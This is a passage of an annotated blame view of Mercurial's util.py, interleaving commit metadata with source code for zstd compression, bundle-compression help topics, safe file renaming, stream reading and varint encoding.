3760 return '\x28' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3761 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3762 def compressstream(self, it, opts=None): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3763 opts = opts or {} |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3764 # zstd level 3 is almost always significantly faster than zlib |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3765 # while providing no worse compression. It strikes a good balance |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3766 # between speed and compression. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3767 level = opts.get('level', 3) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3768 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3769 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3770 z = zstd.ZstdCompressor(level=level).compressobj() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3771 for chunk in it: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3772 data = z.compress(chunk) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3773 if data: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3774 yield data |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3775 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3776 yield z.flush() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3777 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3778 def decompressorreader(self, fh): |
38713
27391d74aaa2
ssh: avoid reading beyond the end of stream when using compression
Joerg Sonnenberger <joerg@bec.de>
parents:
38575
diff
changeset
|
3779 return _ZstdCompressedStreamReader(fh, self._module) |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3780 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3781 class zstdrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3782 def __init__(self, zstd, level=3): |
37496
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3783 # TODO consider omitting frame magic to save 4 bytes. |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3784 # This writes content sizes into the frame header. That is |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3785 # extra storage. But it allows a correct size memory allocation |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3786 # to hold the result. |
1765ed63db40
util: drop write_content_size=True
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37455
diff
changeset
|
3787 self._cctx = zstd.ZstdCompressor(level=level) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3788 self._dctx = zstd.ZstdDecompressor() |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3789 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3790 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3791 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3792 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3793 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3794 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3795 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3796 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3797 if insize < 50: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3798 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3799 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3800 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3801 compressed = self._cctx.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3802 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3803 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3804 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3805 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3806 z = self._cctx.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3807 chunks = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3808 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3809 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3810 pos2 = pos + self._compinsize |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3811 chunk = z.compress(data[pos:pos2]) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3812 if chunk: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3813 chunks.append(chunk) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3814 pos = pos2 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3815 chunks.append(z.flush()) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3816 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3817 if sum(map(len, chunks)) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3818 return ''.join(chunks) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3819 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3820 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3821 def decompress(self, data): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3822 insize = len(data) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3823 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3824 try: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3825 # This was measured to be faster than other streaming |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3826 # decompressors. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3827 dobj = self._dctx.decompressobj() |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3828 chunks = [] |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3829 pos = 0 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3830 while pos < insize: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3831 pos2 = pos + self._decompinsize |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3832 chunk = dobj.decompress(data[pos:pos2]) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3833 if chunk: |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3834 chunks.append(chunk) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3835 pos = pos2 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3836 # Frame should be exhausted, so no finish() API. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3837 |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3838 return ''.join(chunks) |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3839 except Exception as e: |
39777
b63dee7bd0d9
global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39571
diff
changeset
|
3840 raise error.StorageError(_('revlog decompress error: %s') % |
b63dee7bd0d9
global: replace most uses of RevlogError with StorageError (API)
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39571
diff
changeset
|
3841 stringutil.forcebytestr(e)) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3842 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3843 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3844 opts = opts or {} |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3845 return self.zstdrevlogcompressor(self._module, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3846 level=opts.get('level', 3)) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3847 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3848 compengines.register(_zstdengine()) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3849 |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3850 def bundlecompressiontopics(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3851 """Obtains a list of available bundle compressions for use in help.""" |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3852 # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3853 items = {} |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3854 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3855 # We need to format the docstring. So use a dummy object/type to hold it |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3856 # rather than mutating the original. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3857 class docobject(object): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3858 pass |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3859 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3860 for name in compengines: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3861 engine = compengines[name] |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3862 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3863 if not engine.available(): |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3864 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3865 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3866 bt = engine.bundletype() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3867 if not bt or not bt[0]: |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3868 continue |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3869 |
40251
3c89227788a2
py3: build help of compression engines in bytes
Yuya Nishihara <yuya@tcha.org>
parents:
40029
diff
changeset
|
3870 doc = b'``%s``\n %s' % (bt[0], pycompat.getdoc(engine.bundletype)) |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3871 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3872 value = docobject() |
40251
3c89227788a2
py3: build help of compression engines in bytes
Yuya Nishihara <yuya@tcha.org>
parents:
40029
diff
changeset
|
3873 value.__doc__ = pycompat.sysstr(doc) |
33818
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3874 value._origdoc = engine.bundletype.__doc__ |
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3875 value._origfunc = engine.bundletype |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3876 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3877 items[bt[0]] = value |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3878 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3879 return items |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3880 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3881 i18nfunctions = bundlecompressiontopics().values() |
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3882 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3883 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3884 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3885 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3886 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3887 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3888 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3889 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3890 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3891 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3892 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3893 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3894 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3895 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3896 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3897 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3898 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3899 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3900 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3901 fn = '%s~%s' % (f, tag) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3902 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3903 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3904 for n in itertools.count(1): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3905 fn = '%s~%s~%s' % (f, tag, n) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3906 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3907 return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3908 |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3909 def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3910 '''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3911 s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3912 if len(s) < n: |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3913 raise error.Abort(_("stream ended unexpectedly" |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3914 " (got %d bytes, expected %d)") |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3915 % (len(s), n)) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3916 return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3917 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3918 def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3919 """Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3920 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3921 A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3922 except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3923 each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3924 first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3925 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3926 >>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3927 '\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3928 >>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3929 '\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3930 >>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3931 '\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3932 >>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3933 '\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3934 >>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3935 '\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3936 >>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3937 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3938 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3939 ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3940 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3941 if value < 0: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3942 raise error.ProgrammingError('negative value for uvarint: %d' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3943 % value) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3944 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3945 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3946 bytes = [] |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3947 while value: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3948 bytes.append(pycompat.bytechr(0x80 | bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3949 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3950 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3951 bytes.append(pycompat.bytechr(bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3952 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3953 return ''.join(bytes) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3954 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3955 def uvarintdecodestream(fh): |
